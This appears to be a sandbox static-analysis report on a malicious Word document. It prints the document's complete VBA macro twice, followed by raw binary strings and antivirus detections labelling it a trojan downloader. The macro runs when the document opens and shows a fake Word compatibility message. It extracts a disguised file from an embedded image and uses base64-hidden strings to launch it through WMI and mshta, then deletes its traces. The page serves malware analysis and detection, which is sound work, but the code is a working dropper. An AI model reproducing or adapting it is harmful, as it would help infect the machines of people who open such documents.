popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function WIA_ConvertImage(sInitialImage As String, sOutputImage As String, Optional lQuality As Long = 85) As Boolean
    On Error GoTo Error_Handler
    Dim oWIA As Object
    Dim oIP As Object
    Dim sFormatID As String
    Dim sExt As String
    sFormatID = "{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}"
    sExt = "BMP"
    If lQuality > 100 Then lQuality = 100
    Set oWIA = CreateObject("WIA.ImageFile")
    Set oIP = CreateObject("WIA.ImageProcess")
    oIP.Filters.Add oIP.FilterInfos("Convert").FilterID
    oIP.Filters(1).Properties("FormatID") = sFormatID
    oIP.Filters(1).Properties("Quality") = lQuality
    oWIA.LoadFile sInitialImage
    Set oWIA = oIP.Apply(oWIA)
    oWIA.SaveFile sOutputImage
    WIA_ConvertImage = True
 
Error_Handler_Exit:
    On Error Resume Next
    If Not oIP Is Nothing Then Set oIP = Nothing
    If Not oWIA Is Nothing Then Set oWIA = Nothing
    Exit Function
 
Error_Handler:
    Resume Error_Handler_Exit
End Function

Function MsgBoxOKCancel()
Dim answer As Integer
answer = MsgBox("This document is created in earlier version of Microsoft Office Word", vbOKOnly, "Microsoft Word")
End Function

Function Encode(text$)
    Dim b
    With CreateObject("ADODB.Stream")
        .Open: .Type = 2: .Charset = "utf-8"
        .WriteText text: .Position = 0: .Type = 1: b = .Read
        With CreateObject("Microsoft.XMLDOM").createElement("b64")
            .DataType = "bin.base64": .nodeTypedValue = b
            Encode = Replace(Mid(.text, 5), vbLf, "")
        End With
        .Close
    End With
End Function

Function Decode(enctext$)
    Dim b
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .text = enctext
        b = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
            Decode = .ReadText
            .Close
        End With
    End With
End Function

Private Sub Document_Open()
On Error GoTo Error_Handler
    Dim TempPath As String
    Dim TempFilePath As String
    Dim DocName As String
    Dim ShellApp As Object
    Dim FileSys As Object
    Dim ImageFileName As String
    Dim ByteArray() As Byte
    Dim CreatedImageFilePath As String
    Dim CreatedImageBMPFilePath As String
    Dim MyCalc As String
    
    Dim objWMIService, objProcess
    Dim strShell, objProgram, strComputer, strExe, strInput, intProcessID
    
    MyCalc = "d2lubWdtdHM6Ly8uL3Jvb3QvY2ltdjI6V2luMzJfUHJvY2Vzcw=="
    Dim Calc As String: Calc = Decode(MyCalc)
    Dim MyValue As String: MyValue = "bXNodGE="
    Dim Value As String: Value = Decode(MyValue)
    Dim MyExt1 As String: MyExt1 = "emlw"
    Dim Ext1 As String: Ext1 = Decode(MyExt1)
    ImageFileName = "image003.png"
    Set ShellApp = CreateObject("Shell.Application")
    Set FileSys = CreateObject("Scripting.FileSystemObject")
    DocName = ActiveDocument.Name
    If InStr(DocName, ".") > 0 Then
       DocName = Left(DocName, InStr(DocName, ".") - 1)
    End If
    TempPath = Environ("Temp") & "\" & DocName
    CreatedExeFilePath = Environ("Temp") & "\" & ExeFileName
    Call MsgBoxOKCancel
    ActiveDocument.SaveAs TempPath, wdFormatHTML, , , , , True
    Call show
    TempPath = TempPath & "_files"
    CreatedImageFilePath = TempPath & "\" & ImageFileName
    CreatedImageBMPFilePath = Environ("Temp") & "\" & Left(ImageFileName, InStrRev(ImageFileName, ".")) & Ext1
    Call WIA_ConvertImage(CreatedImageFilePath, CreatedImageBMPFilePath)
    
    Set objWMIService = GetObject(Calc)
    objWMIService.Create Value & " " & CreatedImageBMPFilePath
    Kill TempPath & "\*.*"
    RmDir TempPath
Error_Handler:
    Exit Sub
End Sub

Private Sub origin()
Application.ActiveDocument.Protect Type:=wdAllowOnlyComments, Password:="taifehjRTYB$%^45"
End Sub

Private Sub show()
Application.ActiveDocument.Unprotect Password:="taifehjRTYB$%^45"
ThisDocument.PageSetup.PageWidth = 612
ThisDocument.PageSetup.PageHeight = 792
Set DocPageSetup = ThisDocument.PageSetup
DocPageSetup.LeftMargin = 72
DocPageSetup.RightMargin = 72
DocPageSetup.TopMargin = 85.05
DocPageSetup.BottomMargin = 72
Application.ActiveDocument.Shapes(1).Visible = False
Bookmarks("main").Range.Font.Hidden = False
ActiveDocument.ActiveWindow.View.Type = wdPrintView
Application.ActiveDocument.Protect Type:=wdAllowOnlyComments, Password:="taifehjRTYB$%^45"
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function WIA_ConvertImage(sInitialImage As String, sOutputImage As String, Optional lQuality As Long = 85) As Boolean
    On Error GoTo Error_Handler
    Dim oWIA As Object
    Dim oIP As Object
    Dim sFormatID As String
    Dim sExt As String
    sFormatID = "{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}"
    sExt = "BMP"
    If lQuality > 100 Then lQuality = 100
    Set oWIA = CreateObject("WIA.ImageFile")
    Set oIP = CreateObject("WIA.ImageProcess")
    oIP.Filters.Add oIP.FilterInfos("Convert").FilterID
    oIP.Filters(1).Properties("FormatID") = sFormatID
    oIP.Filters(1).Properties("Quality") = lQuality
    oWIA.LoadFile sInitialImage
    Set oWIA = oIP.Apply(oWIA)
    oWIA.SaveFile sOutputImage
    WIA_ConvertImage = True
 
Error_Handler_Exit:
    On Error Resume Next
    If Not oIP Is Nothing Then Set oIP = Nothing
    If Not oWIA Is Nothing Then Set oWIA = Nothing
    Exit Function
 
Error_Handler:
    Resume Error_Handler_Exit
End Function

Function MsgBoxOKCancel()
Dim answer As Integer
answer = MsgBox("This document is created in earlier version of Microsoft Office Word", vbOKOnly, "Microsoft Word")
End Function

Function Encode(text$)
    Dim b
    With CreateObject("ADODB.Stream")
        .Open: .Type = 2: .Charset = "utf-8"
        .WriteText text: .Position = 0: .Type = 1: b = .Read
        With CreateObject("Microsoft.XMLDOM").createElement("b64")
            .DataType = "bin.base64": .nodeTypedValue = b
            Encode = Replace(Mid(.text, 5), vbLf, "")
        End With
        .Close
    End With
End Function

Function Decode(enctext$)
    Dim b
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .text = enctext
        b = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
            Decode = .ReadText
            .Close
        End With
    End With
End Function

Private Sub Document_Open()
On Error GoTo Error_Handler
    Dim TempPath As String
    Dim TempFilePath As String
    Dim DocName As String
    Dim ShellApp As Object
    Dim FileSys As Object
    Dim ImageFileName As String
    Dim ByteArray() As Byte
    Dim CreatedImageFilePath As String
    Dim CreatedImageBMPFilePath As String
    Dim MyCalc As String
    
    Dim objWMIService, objProcess
    Dim strShell, objProgram, strComputer, strExe, strInput, intProcessID
    
    MyCalc = "d2lubWdtdHM6Ly8uL3Jvb3QvY2ltdjI6V2luMzJfUHJvY2Vzcw=="
    Dim Calc As String: Calc = Decode(MyCalc)
    Dim MyValue As String: MyValue = "bXNodGE="
    Dim Value As String: Value = Decode(MyValue)
    Dim MyExt1 As String: MyExt1 = "emlw"
    Dim Ext1 As String: Ext1 = Decode(MyExt1)
    ImageFileName = "image003.png"
    Set ShellApp = CreateObject("Shell.Application")
    Set FileSys = CreateObject("Scripting.FileSystemObject")
    DocName = ActiveDocument.Name
    If InStr(DocName, ".") > 0 Then
       DocName = Left(DocName, InStr(DocName, ".") - 1)
    End If
    TempPath = Environ("Temp") & "\" & DocName
    CreatedExeFilePath = Environ("Temp") & "\" & ExeFileName
    Call MsgBoxOKCancel
    ActiveDocument.SaveAs TempPath, wdFormatHTML, , , , , True
    Call show
    TempPath = TempPath & "_files"
    CreatedImageFilePath = TempPath & "\" & ImageFileName
    CreatedImageBMPFilePath = Environ("Temp") & "\" & Left(ImageFileName, InStrRev(ImageFileName, ".")) & Ext1
    Call WIA_ConvertImage(CreatedImageFilePath, CreatedImageBMPFilePath)
    
    Set objWMIService = GetObject(Calc)
    objWMIService.Create Value & " " & CreatedImageBMPFilePath
    Kill TempPath & "\*.*"
    RmDir TempPath
Error_Handler:
    Exit Sub
End Sub

Private Sub origin()
Application.ActiveDocument.Protect Type:=wdAllowOnlyComments, Password:="taifehjRTYB$%^45"
End Sub

Private Sub show()
Application.ActiveDocument.Unprotect Password:="taifehjRTYB$%^45"
ThisDocument.PageSetup.PageWidth = 612
ThisDocument.PageSetup.PageHeight = 792
Set DocPageSetup = ThisDocument.PageSetup
DocPageSetup.LeftMargin = 72
DocPageSetup.RightMargin = 72
DocPageSetup.TopMargin = 85.05
DocPageSetup.BottomMargin = 72
Application.ActiveDocument.Shapes(1).Visible = False
Bookmarks("main").Range.Font.Hidden = False
ActiveDocument.ActiveWindow.View.Type = wdPrintView
Application.ActiveDocument.Protect Type:=wdAllowOnlyComments, Password:="taifehjRTYB$%^45"
End Sub
{v}8To
IDATx^
bE_gtd
HaACC}
:byOg,
sscc47
`}O!`X
p!b([[WW
R!p(!pXZ&
8$)t8:0
+3Kgd^
uqCqm^
2O?W^/~
T6@.)91
)HP
'wI1 -
.Ms"Ee?
\=:(_6@
[R(1wm<
{|">t
4>z"^:|rtJ
l[^:2v
mS<fY`rvz
RS%e}RP
{'}>P+
/*g8pH
9Y\;;
b$pX@M
5}m1\E
SqAokqMz
WwGwGcU3/
tFG{sU
VFk[Sq
g@wGKl\
VvGgKSU
6DOWK47
:tb0^<
MbiI{;
tDsSSq
~NWQi({
bYKcU!Akc}
3I3/v<{ N
(yeoG|
O~f[4NS
7n;oAf9L
@a@w2)
VFscCq
nO\2!L
?Vg{]o\T
PZBo!>
z0|l)kt<
oU1;bg||
)756DSv
[b]_{47
gYvhpx86
F_w[a6
+\+858
!p(!pXZ&
tcq-s%p
&b`h$V
bEgDKsvLx{T#M
8$)tH3
PQuQ
i6Dcc4
!z;[b}_{
iVD}jR
BdKjP]W
)bCo{l\
IDATx^
71jxhA
1)2?~
|a@>A
_fRv(-4@
2jBfRL
-c`,Hg|2
1FCGU^?
fD\uRx
-r#ZGI`F
Jnj|Uee
?7w#G.w
Zk@o*C
DUk5[~
Vd5]zM
ll "=)
16GZtDl)
EfS9"}$
lxN5U0@*
:`Usyv
0>6V`w0I
dXC#Rr
Dg2P7hB
27{ly}4
:z/c-
v}?!AZ\
(A#)jA
qRX`ro
XY{CaN
DQh^K2
uH<7Ax P
NZ^+}H
I6<l4SV
kaPz-L
m\p+>s
n))nqK
iACuBQ
eTfhCh
L2#`,X
7JPGxr
JtBVS
tVhDXy@
(n#5p-
'fJdKGJ
V$|MI:k
>HbTV,
/8<WCF\
Qd=SeG
\IG"A-
2BhNx80
"q[%
)B2Rr_
(|$Smy%
ddu<R8
#i%R>)
9z6%3L
5/QuH;d
J5t1z~7t
j(2[H=
M6H~L9
G6UI`=E
F%}vTY
I#(s=)
c'*aIzT
n8<1bN
LPGnWo
q7-!0
#GSJ;oO
x+dQ4<
Oh]i>i
L/ND<t
t'$.9d
S+d/4K
2^@BK_
2?"k06
2yFcd^t
bI$GR;Zt
@$/\6`M+m
\>DA"M
,n65-*
W6H)z~
2oF#vE
'J%l>G
=Z!b5P
#.))HR
]]C~y4
g\y tO
3L8bpZ
uK|[}s
bH5P^P
f|/<0F
bIvAl&
^$6>>#
^Ak50LW
zE1qFRmS
@i~u6^
O@\%q4
N'S#:6
Jz4g"
@a`5,l&
4`.E\EY
@K|)&h
D5P@/Ww
<GyA%=8
]?#1H
*no^Pt_^`A
fNw]O'aq
~VDfdV
dXy<WjL
w8.e$$b
MP'9Y1T
g{%3CsXIB
\a 7l#
+.e<#d[
e!9&AF
y+R'c]
lCY>>_a
Bf`U^A
ckT-qS
J_fQv7
` 7-Cm
7Q(AEI{WVx@
-9?h?#8
[c1$~*
v6Bkp/
S:2)^Ih
J#O^"E3
S1Q'n6W
%*M1R
:pgBz4:9ToB
aL<!>#`
P%t8vk
8*o&Yu
}cWYEt{
0:`cx 2
ZoWCB*_
mC{t<ZS;
k+Ys*B
$EhUC~0*0B'
/Ctqv-
4RX!Ub
[LG_$U
,DPsc[
Hks q/
>{7LbLd
tcL>)$
H3~V@`
A'"L293
k*%\u4UQY
&rH61n
(>MfE_
jACDtb
R$U$/i
~JPCPeu
*%K#U<Dg
*n1',q
R*@WKVI
0y^M+t
XO=_S
R{5)%X
VW9e{6
bqJ8yI
.m6djk
eNp!T\-k$
MU-,[DS[
,R+!'yb
!S1#'
~R*uNr
Uoc9fa06
h1RC7+
F|Td)\ m
d}^f-9EXH
DOSiol
Gt~o)
<2{EO2
ITXc2V
8jop[2"
IeH:WQb
.y*r2=I
=bb WCKlwV"~L1
@j#UeR
L$Dk fS
,R:i:<
Xq@Yt8n
eaH:,SN
&"gRQ]
Qu`476
Oxm5/V!
;gRW,~
n{j'%W
Xu(dq&d>p
dccBam'
V?a=qQ
TG/^,<
EtQ505
J |AIBCe
s7mVb_
!EXs>20
"yn+Li;
XKZQBaC
_;aMle
,@uNx%
ihGDE'x<w
)Td(yY
s%MgF}s
Zq<x$L
i<rghQ
;N`|+U
7?X2'th6di
6^nR=KJz*?
d-s&I!U
j/pWcZ
~beiw}
Rd`a-"
xe.36F
H8wXbw
iyQL%=
2%"h-;
5.) :bF
$`O^4]m
URrQ~f
&LIl$Hf
\K6n_XL
,k4#"
L9{5{$'
ny6,B
e![V{Z
I?E`D ]
B@171
4,{Hp!A
V0\9kh
.V"Xu~
H=f6)%
!1.6_}
`,9w0$
>G7h|
E@wv4H
>Io ,%
]lG.io
]0BnI16
yv+Tn#
R7/a;S
;f,(OO
)/0CaBl
N)! Q4
E1+P;!
bMfFm8
j5XN/m
vOU3b.
+Y,1Tw
ED%7]vF
m{*:L'Q
EX'AI A
=d^5F{]
F#Fs:F
LaAcWp
/T+N*W
293Am\!
T['r{G
lVnqbw[
pAx8l*
B4fDsG=
xJjk(Ow=
F ni""a
\~ble?
z"$u_yr
EgOE0%
D"Ceh#
$hF':3
_.F'_F$
WNsOH3
}:q+a:Q"
JqnyGg
pE<8Vw1n{I
5_p-&VY
CS`mF
x5]DA|<
9RV(}p$
[Ddg>*
L+Atom
VDYKDLx
9me2w5
t*9EEjy'^
h&XyXq
=#=9w>
FO'gXYP
Nl(>(X)
;^Xw(P
+|HH*RmS
F\8@
u#kZk'
R1%fYl
n\$jZ2k
>+(E,}
sNi`r
<paXS|^Y!
df2nK*
2wW0H*
@Ih-Ev
EO}!(>
Pch~>
[n3l:`
3R@@$
z{-)eur
~4u:32
hT9{K
cxjyZV
u3^E't
p]Rqic
?-12BT
MVYlQk
wyS~*or
sp`EyT
E1s>_&
(R2OVj*
_Y<uP_
g_+Bb\
]C8+ .
ro./r}
aJ(<`:
X9%}A~E
Jvf%(*
}gJ"9?
_z}3=U'
g-,v'"w&
h%]`b-
K<%1M}
+TyuAb
U63+bf]
iHmEg!
W$K7;=
@C:1dD
P^"WrP
=Ljk.
Q}8+sx
I`%h.`
BYC$M.
6WdEZI
*`zy)h"
#hN$C/
^3G/I"
x/+cQk
\!f$L_@
BP&xT0r
xe'h7o
-]0<BpAd
4Y?BgL
=AtRA)
"k.UpU
-0X^:?Gv
]L)wsu
hlifi`iZiT
,V1!1']
*V1R1jXL
5@<pb;
#2'<zT"
F.]$w8`
b$/xbB
K,y^bo
`D\]%m?
'1`;08i
ajd*Q)
Jer=X8
uE96h5
:P6CMs
"e2%W^
xhK<%t
A/y=%T
WcocA h
i$a46au
x`Irw4
J0;F|A
tM"c;P)
`6p%JX
FJb;Z{
w58 a{
S3/%ArH.u
7Xi`z\
H}'#t[
aaLY`y
B!jXOawu*
F&:BTs
qt#YM{
^wAfi!u
(8@Qwe9r
/zMRBx
N]:0@f
9pgW0
Y'LO#G
A}{1a!-
.ZFztX
~G/8x8%8
f_C'Khq
REUs"+
Ma^b;W
KK@cMy
N=^]BUQ
Qcx)G/
:},ANjr
/)4%#@
GJ~}=y
!hbBWt
P)B`Jp
rN1}`l
]&8RNpIB
QJjbu !
rkcie4
&u%b.l
Uzp8Jp
;nW<]=
OE1|vsj
#yvv)'rh
^%QSLC
T#0|Q5
9zI"LXY
skm_%Es
N}p.%,
Lz7?ey
hVIJ;P
xFb+y.
=>b5bN/
p2pOLR
uP$n0z
EW?z"-
O58?}*Z9
[Sg8}
u2~%kt
$~z*VT8
z%pD"Y
MI5H0_
w&slpO
2X>)p=G
eo}E)=,
^;P5!`
5;2|mFg
v'g=s=_
U2Z4Ys
?Sht5?
wYwr~-
QGF3,
7}O9uRuUu
@;>%dT
c473li4
RW!_B^
_U>nV2
2o{m@[
e.D]NQ
3{A&l!
2dWfNiB.
r{1v_-
a85}xx
lq3jKd
[Q3RI
+159>s
:T:Q:Ku
:K,@B7"
W1er=d
:u8i:l:i:fNV
{31%"F
5r1(&F
|Dn01A1
q-=BN>
qB^`'!
^wycTu
cv[Yo2
A)_Yi{`
!,$dXQ
p>pJyjf
+]8,%l
/~JZ:t#C
j'!ocZl
uHTjn]
{y[p9[|9;
W+ZQB-
f{ZcG|Z
p""iBl
`G_w"1
Y3m3
Mq>"(V
z p_9b
AH|~k1
]N/F=U
rf*5ky.g
k+LvEn
[k(}rt
KaT}eT?1
1=}< 1
\fKP'2%0
&kA1&L60
g+1!SF^W]_
o=J^"CI7
d;ow9_w
2c?&2N
IS^c:
\2e9Y
=E>.pT
rUklFM
5OP7~B
]u1U8/
EGY<$g
SD9;V
.&l7mq
b]K&M#
Pw;HF}
Y];/FG
#5,Y9h
%Z0(pp
Xm&1D
(;$NPr
(3?`%V
'gqb:.f
$4h]Ca
)CFf.G
pG!n1%
gXv5Ix
FuQ9Vb
z$30$Do0T
_1X.&e
u`z@wb
<>!e$
0q}4'w
C0.V}
mR2Wt1$
i,1I+pW
1U~,NR2<
!(D 'Z
1m6#d4Q
Fyv#zN
C(tX|D
uA^96\-
A4'dJ6(I
DM_QCs
qcm(Ec
&C!T@P
EHD?$f
\Yb0(@
@LKAND
"_.bP$r
YIwbOD
CR7wQ
Pn)q0A
D`rK%X
}ak~J@
|I{"]_b3
v?=sbu
mI+W
5p="5f
Q=0S<V
M`Yt+E[
#z~!nPp
hd{( N
[1czlpm
qx 57)gt
a;i7Ap[C
U!H<S$o
RBkSzN&D--
_oyqe\
V#d6Zx
#'4_8*P
k:g|V`
y%^}c4
|F!9[n
}8?b(.
ChAM;.2
"*<n@7
xU u*\
B-mssN![8
{)bi`F/-
mK,=$&
EYE\sah
z{s:5M
QzhW6Hk
XOo)/
zmR:<i"A
hSsi3ZA
1"zVdh
b70 `6!r*(
=FE PX
Os5Z~I
$7&*~($
1fQV{W
YLz'06
+p+mJV
S5$5$V
:W`AL2/
EG8rfb6
D}K+:-
,{SqCoj
D@zeCq
1teX\G
:rnOVJ
4c@}]|b
q%.3=*
3kTUO:
NW.l+;OojS
Ll.L[bu
cF[j$Z
iAG{:"7
=R@FNW
Yw^,4@]RGh
rlP1ME9j
h-p&mJ"_
PS!YutDu
Tdt<#6
rzRG!X
&{H',[4
RO")*#E
QplC$pi
tUsL=)
UZ/5+}B
)-9]*/
4/o#@s^
[$_bnw
KT#jMM
qi}KS|
9k@XV$
\.zkv"
b[jCw2
|]`#<0Nl
ZvGS2%
[|CRZJMW
nK0qN1
N<}=h
w,g;e
joN;A`
w|r.1g_
t~m/.F
{iczXz
>yw4"z7
/|Fkmm
5%zwxR
;mcBWm
H{d3X%B
k\dSz3
L3_0 {j
n@H`5C
_KF_cH}
&*bc/OS
'VmOQs
KcY#_h
>aX(qN
KJOhos
8/S@lj
e2C9b l
* kOyS
BT-?Gp
>}e/}"
3ar$f7
`,&D+
qT:9%b
vuF C_Ma
uwE|vd
@`v1#n`D
c-'28
i&\5lK
dHYdfy
_wOhs7F
?hcb';0
g1j Yr
j[ J|#{
9=3@w\
B `--S
F,'5_7j^
(#]C"V
3wXs8r
E+{Tyl
y;V5v.
-vySO`
Yf!N%`}
^!EB:3
\aGrtB
`*@{3d
Q,) sf
2*oJ F"
SLDatA
<|e.$4h`>m
!aeP5>F
a{(%+"
d{y#&C
8$:C+0
v*~B!F9#
$2F>}d9aC
L"=L)"
IdO<v`
=F6ZL/
B[ySK<d
h8QSf$T
$Yp>b^0
1+8c@5'GM
"/b[>'
>=-tt8D2
/CQ'@c`
5l$"U]
-)Q[0d
y-W`Ft;
FadcW6
,b}~x2
4[U7iA
h(ED%Y*
v0PY7F1jA
8xNEh$
ya2lP=
br[S{s9V>
Q5INH*
54ChY#
Fp]KNR3
|b4eMs
jVYa)_
`lL&zo
2"Si&<&
X%@pIU
ki%Y|'
<YI+1*|
k+P*!iQ
9pOlG7
IZZ0sK
D%tLZf
8'K(<*
YhFzJ+
*i@oA~
JxK (!
,xt<6Tm
.jeFnG
E@x@@18
F5Zz>Mi>px
}jw@^l5
DF`26,
.o"mbY2
2QGP$|
^Zq1#B
kAzYK6bi5
^QwyURC
F R_lr
DnJi1v
UM<x#1
=Q`kS
`zIDM/
a}?fukz!:
e'y.|
lzAmP!s
I24R6rC[
qz1dnQH
bHfu/=
,:LBTNq2##
';`IZ)P6
yYCekf
qOBIc>
TVR]!
J,B`}L
S64j]u
3U^MpzF
||de.~1
\It[vA6
G`=OS1
SrK!A
)\n_V~6
wZYg>pa
(;~;\M
FCyeyq+
i@X\:%
XV!.F}R+W
a&Wt}A{
Y$aOFq
#L9piW
NGRs$}
W:p!K~
;15n~'
Y`gA@s
K:+'lb
LqA,RT
+95z#%QT#\
lYHq(^
O:y`j5
7/I (Q
EawS^{l
Oq*PqZ(
HB.Hc~U
P@h84z
#Gw{j#
-;6)-IE
6!].)5
jX[z{i
x\.$CR`
k2MaD72=
n&Yl%%}e
G&avEg
1l q?u
"*C"(w
Y40LYiBJ
:9NBrd
.Q5*GN
a'=EO^
[!+vt2
"Hb_=n
PxAr~>&
rjKIHIG
d|EO:{f
y73mf?R
J9JD?0
,]}Sr.
nf<0B(
T#i#Vi
)F^1iQ
u1&<Jh
+|C!N}
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
/,EE\}
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
William
Normal.dotm
William
Microsoft Office Word
Quality
This document is created in earlier version of Microsoft Office Word
Microsoft Word$
ADODB.Stream$
Microsoft.XMLDOM$
bin.base649
Microsoft.XMLDOM$
bin.base649
ADODB.Stream$
d2lubWdtdHM6Ly8uL3Jvb3QvY2ltdjI6V2luMzJfUHJvY2Vzcw=='
bXNodGE='
image003.png'
Shell.Application
Scripting.FileSystemObject$
_files
taifehjRTYB$%^45
taifehjRTYB$%^45
33333CU@
taifehjRTYB$%^45
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
ic Funct
ion WIA_
ConvertI
mage(sIn itial
sOutpu
$al lQ@uality
Boolean
ror GoTo
_Handle
Object
3CAB-072
8-11D3-9
1EF32E}@
>> 100
;.B\Fiple")H
P@rocess
ters .Add
In fos("
:LoadA:
M_E0xit:
hi@["<"
gBoxOKCa`ncel(
ka nswer
tegAoD
of Micro
soft Off
Word",
vbOKOnlpy, "G
Encode(
With,hADO
.Open: P.Typ
C0hars q
WrihteT
K.RxeadC
XMLDOM`o
("b664
"bpin.b
ce(Mid(.!a
1Lf 1)
HLtDeb5e@
Shell ]
ByteAr
MyCalc
WMIServ
Md2lubWd
tdHM6Ly8
uL3Jvb3Q
vY2ltdjI
Vzcw=N=
3.png$
.temc0#
= Enviro
HTML<,
0,l pshow^
$Get]c*(
{B96B3CAB-0728-11D3-9D7B-0000F81EF32E}'
WIA.ImageFile
WIA.ImageProcess$
Convert
FormatID
origin(
cation.A
ctiveDoc
ument.Pr
otect Ty
pe:=wdAl
lowOnlyC
@s, Pa
ssword:=
"taifehj
RTYB$%^4
geSetup.
Width
'@Height
pes(1).V@isible
okmarks(
"main").
Range.Fo
{Hidden
Window1@
wntView
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
Editors>O
wdEditorEveryone
_B_var_DocPageSetupkc
ookmarksU
! Offic
!G{2DF8
D04C-5BF
A-101B-BHDE5
Files\C ommon
crosoft
Shared\O
FFICE16\
MSO.DLL#
M 16.0
LibrXary
hisDocum@entG
*\CNormalrU
ThisDocument
Project
C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Office16\MSWORD.OLB
Document
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
WIA_ConvertImage
MsgBoxOKCancel
Encode
Decode
Document_Open
origin
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Document_Open
Documentj
MsgBox
WIA_ConvertImage!
sInitialImage
sOutputImage
lQualityn
Error_Handler
sFormatID
CreateObject
Filters
FilterInfos
FilterID>
Properties+
LoadFile
Apply,
SaveFile}
Error_Handler_Exit
MsgBoxOKCancel?
answer,
vbOKOnly
Encode
CharsetQ#
WriteText
Position
createElement
DataType%?
nodeTypedValuel_
Replacef
vbLfT%
Decode
enctext.
ReadTextb
TempPath
TempFilePath
DocName
ShellApp
FileSys
ImageFileName
ByteArray
CreatedImageFilePath
CreatedImageBMPFilePath
MyCalc
objWMIService
objProcess
strShell~X
objProgram&
strComputer
strExeu
strInput
intProcessIDH
CalcBt
MyValue
MyExt1/a
ActiveDocument
Environ
CreatedExeFilePathv
ExeFileName0[
SaveAsf;
wdFormatHTMLw
InStrRev
GetObjectz
Create
originF
Application
Protect
wdAllowOnlyCommentsR
Password
Unprotect
PageSetup
PageWidth
PageHeight
DocPageSetup
LeftMargin
RightMargin[
TopMargin
BottomMarginu
Shapes
Visible
Bookmarks?n
Hidden]
ActiveWindow
wdPrintView(
sInitialImage
sOutputImage
lQuality
enctextH
ThisDocument
ID="{AC45AF9B-7BB5-4E3A-A1B7-8C84D500183A}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="EEECEE09360B1F0F1F0F1F0F1F0F"
DPB="D3D1D334B935B935B9"
GC="B8BAB8BBB9BBB944"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=26, 26, 1043, 333, Z
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
??32?7"2
9??{tC?
?;n\??v?
?,??\g?
(?Q0?.???-3
??mjr^{?X
71jxhA??Zv?
@e??zF
Q?NdTH
x?G?<i
?-#&W?|???%?[F?
z?=jtd
?T???N
??`>A???/\I ?<
?1)2?~?:|?r
??N;?W
??zC1?[
Normal
Default Paragraph Font
Table Normal
No List
word_alert1
default
Unknown
Times New Roman
Symbol
Calibri
Cambria Math
William
William
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
ThisDocument
__SRP_2
__SRP_3
_VBA_PROJECT
(1Normal.ThisDocument
$*\Rffff*0C6270f3c9
*\R1*#c0
*\R1*#c6
*\R1*#91
WORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automdir
__SRP_0
__SRP_1
PROJECTwm
taifehjRTYB$%^45&
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisDocument
0C6270f3c9
ThisDocument
tThisDocument
PROJECT
CompObj
Antivirus Signature
Bkav Clean
Elastic malicious (high confidence)
DrWeb Trojan.Siggen13.10074
ClamAV Clean
CMC Clean
CAT-QuickHeal W97M.Downloader.42039
McAfee RDN/GenericOLE
Malwarebytes Clean
VIPRE Clean
AegisLab Trojan.Multi.Generic.4!c
Sangfor Trojan.Generic-Script.Save.58bfd89c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren W97M/Agent.UZ.gen!Eldorado
Symantec W97M.Downloader
ESET-NOD32 a variant of VBA/TrojanDownloader.Agent.UOE
TrendMicro-HouseCall TROJ_FRS.0NA103DQ21
Avast VBA:Dropper-BX [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
